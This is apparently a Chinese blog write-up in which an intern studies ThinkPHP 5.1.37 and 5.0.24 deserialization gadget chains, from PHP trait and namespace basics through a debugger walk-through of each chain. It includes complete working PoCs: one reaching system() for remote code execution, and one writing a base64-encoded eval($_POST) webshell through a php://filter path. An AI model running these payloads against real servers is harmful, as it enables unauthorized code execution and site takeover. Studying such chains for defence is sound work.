实习的时候审代码发现自己对这种反序列化链的寻找能力不太行 于是去找个thinkphp的链子来学习学习
参考文章 https://boogipop.com/2023/03/02/ThinkPHP5.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%85%A8%E5%A4%8D%E7%8E%B0/
基础知识 这里先补充一下基础的知识
namespace等等反序列化链中常见的东西
namespace namespace实际上就是命名空间,在php类与对象这一章节中用到了命名空间这个概念
我们可以把namespace理解为一个单独的空间,子命名空间就是使用 \
来进行划分
1 2 3 4 5 //例如 namespace npm 这就是一个单独的空间 namespace npm\a a就是子空间了 就是在npm这个空间里面划分
用代码来解释一下
这里的话npm就是个命名空间 A的话就是被划分的子空间了
这里如果存在多个命名空间的话 我们可以使用use
来进行调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php namespace npm \A ;class a { public function __construct ( ) { echo "aaaaaa" ; } } namespace npm \B ;use npm \A \a ;class b { public function __construct ( ) { echo "bbbbb" ; } } $a = new a ();
还有一个是可以使用 as
就是做别名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php namespace npm \A ;class a { public function __construct ( ) { echo "aaaaaa" ; } } namespace npm \B ;use npm \A \a as xixi ;class b { public function __construct ( ) { echo "bbbbb" ; } } $a = new xixi ();
继承 这里直接复制boo的了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class father { public $name ="Json" ; private $age =30 ; public $hobby ="game" ; public function say ( ) { echo "i am father \n" ; } public function smoke ( ) { echo "i got smoke \n" ; } } class son extends father { public $name ="Boogipop" ; private $age =19 ; public function say ( ) { echo "i am son \n" ; } public function parentsay ( ) { parent ::say (); } } $son =new son ();$son ->say ();$son ->smoke ();$son ->parentsay ();echo $son ->hobby;
其实和java差不多 所以就不多讲了
trait修饰符 trait修饰符使得被修饰的类可以进行复用,增加了代码的可复用性,使用这个修饰符就可以在一个类包含另一个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php trait haha { public function nihao ( ) { echo "nihao" ; } } class a { use haha ; public function __construct ( ) { echo "aaa\n" ; } } $a = new a ();$a ->nihao ();
就是说使用trait修饰类以后 我们可以使用use来在类里直接调用他 这样就可以进行类的复用了
这里讲一下这个 trait
的特性 就是他这个只use的话 他里面的方法也是可以被调用到的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php trait a { public function __toString ( ) { echo "触发了toString" ; } } class b { use a ; public function __construct ( ) { echo "bbbbb" ; } } $b = new b ();echo $b ;
这是个简单的例子
(这个特性的话在外面接下来讲的这个thinkphp的反序列化链子会用)
Thinkphp-5.1.37 环境搭建 https://github.com/top-think/framework/releases/tag/v5.1.37
https://github.com/top-think/framework/tree/5.1
php7.3.4+xdebuger+thinkphp-5.1.37+phpstorm
该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace app \index \controller ;class Index { public function index ($input ="" ) { echo "ThinkPHP5_Unserialize:\n" ; unserialize (base64_decode ($input )); return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>' ; } public function hello ($name = 'ThinkPHP5' ) { return 'hello,' . $name ; } }
然后运行启动的样子是这样的话就成功了
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["boogipop" =>["calc.exe" ,"calc" ]]; $this ->data = ["boogipop" =>new Request ()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_ajax' => '_ajax' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'boogipop' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot ()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));?>
base64生成后直接传入
这里简单讲讲这个poc为啥是这样写的 namespace必须是得和源码一样的 然后在定义类的时候 使用的也必须是得和源码一样的 但是在给参数赋值的时候 我们可以__construct()
来进行定义 因为这个参数是不进行反序列化的
漏洞分析
在这个地方下个断点 然后开始分析就完事了
入口点是这个windows类的__destruct方法 我们接着跟进这个removeFiles方法
filename是我们在poc中传入的值 就是think\model\Pivot
这个类 然后因为file_exists 那么就会调用到toString方法
这里的话就会进入到toString方法中 但是为什么是进入到Conversion这个类的toString方法中???
其实这里的原因就是刚刚在上面讲trait的时候讲到的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php namespace think \model ;use think \Model ;class Pivot extends Model { public $parent ; protected $autoWriteTimestamp = false ; public function __construct ($data = [], Model $parent = null , $table = '' ) { $this ->parent = $parent ; if (is_null ($this ->name)) { $this ->name = $table ; } parent ::__construct ($data ); } }
我们回到think\model\Pivot 这个类中 我们发现这个类中是没有toString方法的 但是这个类是继承于Model这个类 然而在pivot这个类中没有找到` toString`方法的时候 就会到父类中去寻找
然而父类中也是没有这个方法的 但是这个父类使用use调用了Conversion这个用trait修饰的类
所以就会去到这个类中寻找
然后这样就会调用到了 (这里就和我们上面讲的trait修饰符的特殊之处对应上了)
这里借用boo师傅的一张图
跟着进入这个toJson方法 然后接着跟进这个toArray方法
跟进toArray方法
重点主要是toArray方法中的这三个方法 我们挨个跟进
在poc中 我们设置了这个key -value值
所以这里的值就是boogipop的key值 因为这里key不为空 所以直接返回空
因为我们返回的key值为空 所以能进入if判断 所以进入到了这个getAttr的方法中
接着跟进这个getData方法中 看看里面是获取了什么东西
因为我们的参数名是boogipop 那么第一个if不满足条件 于是跳到了第二个if中 直接返回值
这里返回的Request对象 就是在我们刚刚poc中设置的对象
这就是在我们poc中设置的键值对了
因为$relation为我们刚刚获取到的request对象 因为request对象中没有visible这个方法 那么就会调用到__call魔术方法
然后传进来的参数就变成了 我们刚刚设置的那个数组的键值对了
首先使用array_shift
往之前的[calc,calc.exe]
数组插入$this
也就是Request
对象,之后调用call_user_func_array
方法,其中$this->hook[$method]
就是$this->hook['visible']
,在POC中为isAjax
方法,跟进该方法:
然后我们接着跟进这个param方法
然后我们接着跟进这个input方法 这个方法的就是获取我们url输入的键值对
然后跟进这个getData方法 看看其能获取到什么东西
这个函数就是遍历我们传入的键值对 然后返回该结果 这里就将我们传入的whoami给获取到了
跟进这个getFilter方法 因为我们在poc初始化的时候给filter也赋值了
这里用个三目运算符来进行判断 如果filter传入为空的话就用我们的初始化值
在poc中的话也指定了这个filter的值
然后将这个空值传入到这个filter数组中去 不过没有影响 后面会有函数将null给除去
然后我们接着跟进这个filterValue方法
跟进之后 我们返回了这里会使用array_pop方法来将我们的filter数组的最后一个数给除去
然后最后我的call_user_func就会执行我们构造的恶意命令了 然后成功完成RCE
贴一张链子的完全图
修复方法 官方是把Request的__call方法给除去了 那么链子的后半段就完全断掉了
Thinkphp-5.0.24 在5.0.24和5.0.18可用,5.0.9不可用
环境搭建 https://www.codejie.net/5913.html
php7.3.4+xdebuger+thinkphp-5.0.24+phpstorm
该反序列化漏洞属于二次触发漏洞,需要有一个入口,因此我们将控制器中的Index控制器修改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php namespace app \index \controller ;class Index { public function index ($input ="" ) { echo "ThinkPHP5_Unserialize:\n" ; unserialize (base64_decode ($input )); return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="ad_bd568ce7058a1091"></think>' ; } public function hello ($name ="" ) { echo $name ; } }
然后这样就搭建完成了
POC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 <?php namespace think \process \pipes { class Windows { private $files = []; public function __construct ($pivot ) { $this ->files[] = $pivot ; } } } namespace think \model { class Pivot { protected $parent ; protected $append = []; protected $error ; public function __construct ($output , $hasone ) { $this ->parent = $output ; $this ->append = ['a' => 'getError' ]; $this ->error = $hasone ; } } } namespace think \db { class Query { protected $model ; public function __construct ($output ) { $this ->model = $output ; } } } namespace think \console { class Output { private $handle = null ; protected $styles ; public function __construct ($memcached ) { $this ->handle = $memcached ; $this ->styles = ['getAttr' ]; } } } namespace think \model \relation { class HasOne { protected $query ; protected $selfRelation ; protected $bindAttr = []; public function __construct ($query ) { $this ->query = $query ; $this ->selfRelation = false ; $this ->bindAttr = ['a' => 'admin' ]; } } } namespace think \session \driver { class Memcached { protected $handler = null ; public function __construct ($file ) { $this ->handler = $file ; } } } namespace think \cache \driver { class File { protected $options = [ 'path ' => 'php ://filter /convert .iconv .utf -8.utf -7|convert .base64 -decode /resource =aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g /../a .php ', 'cache_subdir ' => false , 'prefix ' => '', 'data_compress ' => false ]; protected $tag = true ; } } namespace { $file = new think \cache \driver \File (); $memcached = new think\session\driver\Memcached ($file ); $output = new think\console\Output ($memcached ); $query = new think\db\Query ($output ); $hasone = new think\model\relation\HasOne ($query ); $pivot = new think\model\Pivot ($output , $hasone ); $windows = new think\process\pipes\Windows ($pivot ); echo base64_encode (serialize ($windows )); }
生成base64编码后直接打
执行后会在当前目录下生成两个文件
然后访问就行了
成功RCE
漏洞分析
在此处下个断点 前面的话和刚刚5.1.37那条链子还是一样的 主要是后面不太相同
然后还是进入到这个windows这个类中 还是得跟进到removeFiles方法中
跟进到这个removeFiles中 然后原因也和5.1的版本是一样的 filename是pivot对象 所以直接会调用到toString方法 但是这里没有Conversion这个类 所以会直接调用到Model这个类中的toString方法
进入toJson方法中
然后接着进入到toArray这个方法中
在我们进入到这个toArray以后 接下来的操作就和5.1版本的就不同了
这是等会我们需要用到的4个重要的函数方法 我们先跟进这个parseName方法 来看这个$relation是怎么获取到的
进入到parseName后 我们获取到其relation的值为getError函数 并且Model类中存在这个函数 那么我们就会进入到这个Method_exists方法中
这里的话就会调用这个getError方法 来给modelRelation赋值 我们跟进这个relation方法中
这里的话是返回HashOne这个类 (因为可控 我们设置成了HashOne)
这里Model是Pivot的父类
然后我们就可以在pivot中队Model的error参数赋值 这就是error可控的原因
进入到getRalationData中 这个函数的返回结果是对$value的赋值 然而通过代码 我们发现其要进入到给$value赋值需要三个条件
$this->parent
!$modelRelation->isSelfRelation()
get_class($modelRelation->getModel()) == get_class($this->parent))
条件一
首先我们要知道在toString这一步我们需要做什么,5.1版本是触发了call方法,那么这里我们也应该寻找能否找到合适的call方法,最后结果就是think\console\Output
类,那么我们应该让这个方法返回一个Output对象,这样在出去之后执行$value->getAttr($attr)
才会触发` call魔术方法,而该方法中value的值就是
$this->parent`,所以第一个条件parent需要为Output对象
条件二
对于第二个条件,$modelRelation
我们已经完成了赋值,为HasOne
对象,我们观察一下
先看看HasOne对象 继承于OneToOne对象 然后跟进OneToOne对象
然后发现这个OneToOne继承于Relation对象
然后我们发现这个isSelfRelation函数就是在Relation这个类中 那么我们就可以直接在HasOne这个类中定义这个selfRelation的值了 只需让他为false即可
条件三
最后一个条件需要让Hasone::getModel
返回一个Output对象($this->parent),观察该方法:
直接调用其父类中的getModel方法 并且这个$this->query可控 所以我们接着去全局寻找谁的getModel方法能够返回Output对象
/thinkphp/library/think/db/Query.php
中的getModel方法我们可控: 所以条件三也满足
在这里只需要让this->query==thinkphp/library/thinl/db/Query.php
即可,然后让他的model属性为Output
对象
满足条件 成功给$value赋值为Output对象 然后我们进入到getBindAttr方法中
直接进入到HasOne的父类OneToOne的getBindAttr中
返回HasOne对象的bindAttr属性,这里我们设置为一个数组["a"=>"admin"]
,这里的admin和结果中的文件名有关
这里的话对我们输入的$bindAttr进行遍历 然后因为$value是我们之前设置的Output类 然后这个类中没有getAttr方法 于是就会进入到这个类的__call方法中
进入到这个call方法中的时候 有点和5.1类似的地方了
用array_shift方法将method和args结合在了一起,随后调用call_user_func_array
方法调用了自己的block方法,跟进该方法:
然后接着跟进这个writeln方法中 message是admin
其他参数不变 message还是为admin 然后我们接着跟进这个write方法中
然后我们发现了这个handle可控 我们全局找write方法 最终在Memcached
类找到合适的write方法,因此让Output的handle属性为Memcached
类:
调用到了这个Memcached类中的write方法 还调用了set方法,再找谁调用了set,最终在think/cache/driver/File
类找到了,因此让Memcache对象的handler属性变为File对象,最后触发它的set方法,参数为上面带下来的:
然后我们发现这个类中有个file_put_contents函数 但是有个前提是得绕过这个死亡exit 不然会终止进程 导致内容写不进去
死亡die绕过
这里的话我们跟进这个getCacheKey函数 因为我们的filename是通过这个函数来获取的
这个name的话是我们在前面的传入的值 <getAttr>admini<getAttr>
的md5值
其中this->options['path']
是我们可控的,这里让他为php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php
可以绕过死亡函数
但是我们要注意,即使可控文件名,但是文件内容$data
,也就是$value
在这一次进入set方法不可控,为默认的true
,因此即使能创建文件也不能写马 继续往下分析会调用
这里的返回名字是 php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php63ac11a7699c5c57d85009296440d77a.php
但是这里的data我们不可控 所以没有办法 我们进入到下面的if后 我们发现还有个setTagItem函数 然后我们跟进
然后这个会再次进入到这个set方法中 并且这个key和value值1可控 那么就会再次执行fileputcontent函数 就会再次写入值
第二个文件名就是php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php+md5(tag_c4ca4238a0b923820dcc509a6f75849b)+.php
第二个可控是因为这个filename和data的值是一样的 传入的时候
https://xz.aliyun.com/t/7457?time__1311=n4%2BxnD0G0%3Dit0QDkDcnDlhjmP8twK%3DTYr%3Dd4D&alichlgref=https%3A%2F%2Flink.csdn.net%2F%3Ftarget%3Dhttps%253A%252F%252Fxz.aliyun.com%252Ft%252F7457%2523toc-3
这篇文章解释了为什么能能在windows下使用phpfilter生成文件的原因
这个就是专门生成写入的值 然后这里就完成FW了
这里贴一张链子图